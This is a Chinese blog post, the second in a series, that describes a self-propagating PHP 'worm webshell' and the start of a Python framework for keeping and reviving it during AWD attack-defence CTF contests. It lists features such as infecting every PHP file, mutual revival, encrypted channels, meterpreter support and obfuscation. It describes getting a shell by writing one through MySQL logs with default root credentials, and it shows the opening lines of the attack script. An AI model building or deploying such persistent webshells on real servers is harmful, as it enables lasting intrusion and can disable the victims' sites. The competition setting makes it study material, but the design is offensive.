您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

基于AWD比赛的蠕虫webshell(二)

合天网安实验室 发布时间:2019-10-18 10:37:00 ,浏览量:0

0x00 python维持复活框架

一个蠕虫webshell只是相当于一枚好的子弹,我们还需要配置一把枪来搭配使用,那么如何做到我们落地98k,别人落地还要慢慢捡枪才能吃鸡呢。上篇只是的简单执行命令的客户端,但下面这个是基于这个蠕虫webshell的python维持复活框架,大致思路是这样的。

0x01 webshell特性

首先回顾一下最终版蠕虫webshell的特性如下:

  1. 递归扫描所有web目录及文件,全部扫到的php写入webshell

  2. 网站全部php可作为webshell连接执行命令

  3. 不带参数请求又可以正常访问原页面,不影响访问

  4. 所有web路径目录写入单独一个特定webshell

  5. 判断是否写过不再重复写入

  6. 所有php页面都可以互相复活蠕虫webshell

  7. 蠕虫webshell返回所有php文件url地址

  8. 蠕虫webshell发送返回数据传输加密

  9. 数字签名校验执行、5秒后不可重放

  10. 页面功能性可控(可以使全部php原有功能失效,只剩下webshell功能)

  11. 前端互相复活以及反渗透

  12. 适配meterpreter连接

  13. 加密混淆

具体的蠕虫webshell代码详情可以参考上一篇文章:基于AWD比赛的蠕虫webshell

0x02 流程

根据以上蠕虫webshell特性我们可以设计一个框架出来使蠕虫从生成到维持最后互相复活,如果都被删了或者对手重置环境,就自动快速重新getshell再次复活。

简单来说就是,python有技巧地批量请求所有靶机ip。只需编写getshell的模块,模块返回一个蠕虫webshell的url,就会自动本地传播感染所有php文件,即使比赛对手重置环境会重新getshell再次感染,删掉其中一个马会使用其他被感染的马复活。如果在代码最后面加个exit();全部php页面将会失效只剩下webshell功能。(适用于登山夺旗模式比赛)因为比赛环境实在太多突发状况,我认为已经考虑到比较多出现的情况就是超时,webshell失效,漏洞修补完成,上马后别人删所有文件等等,但不排除还会有其他错误使这个py跑崩的情况,目前没发现。

0x03 代码解析

框架中假设这个情况是数据库的root/root密码getshell。并且在自己awd服务器查到web绝对路径是/var/www/html(比赛时靶机大家都一样,可以查看自己的绝对路径),我们的getshell方式是数据库日志写shell,然后通过shell上传蠕虫webshell,再维持权限和复活。

于是有了以下的代码,要结合上面的思路图来看。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
# made by 3s_NwGeek
import requests,random,MySQLdb,re,base64
import time
from gevent import monkey
from gevent.pool import Pool
from bs4 import BeautifulSoup
from urllib import unquote
monkey.patch_all()
passwd = 'admin'#这是蠕虫webshell的密码


username="root"#数据库名一定要root权限才可以有效写文件
login_psw="root"
webshell_path= 'http://TARGET_IP/service.php'#要跟查询路径的文件名相同!!!!!!!!!
webshell_psw='a111'
localfile = 'C:\Users\\3s_NwGeek\Desktop\\light.php'  # 本地待上传的马文件名


#Secure_file_priv             
关注
打赏
1665306545
查看更多评论
0.0453s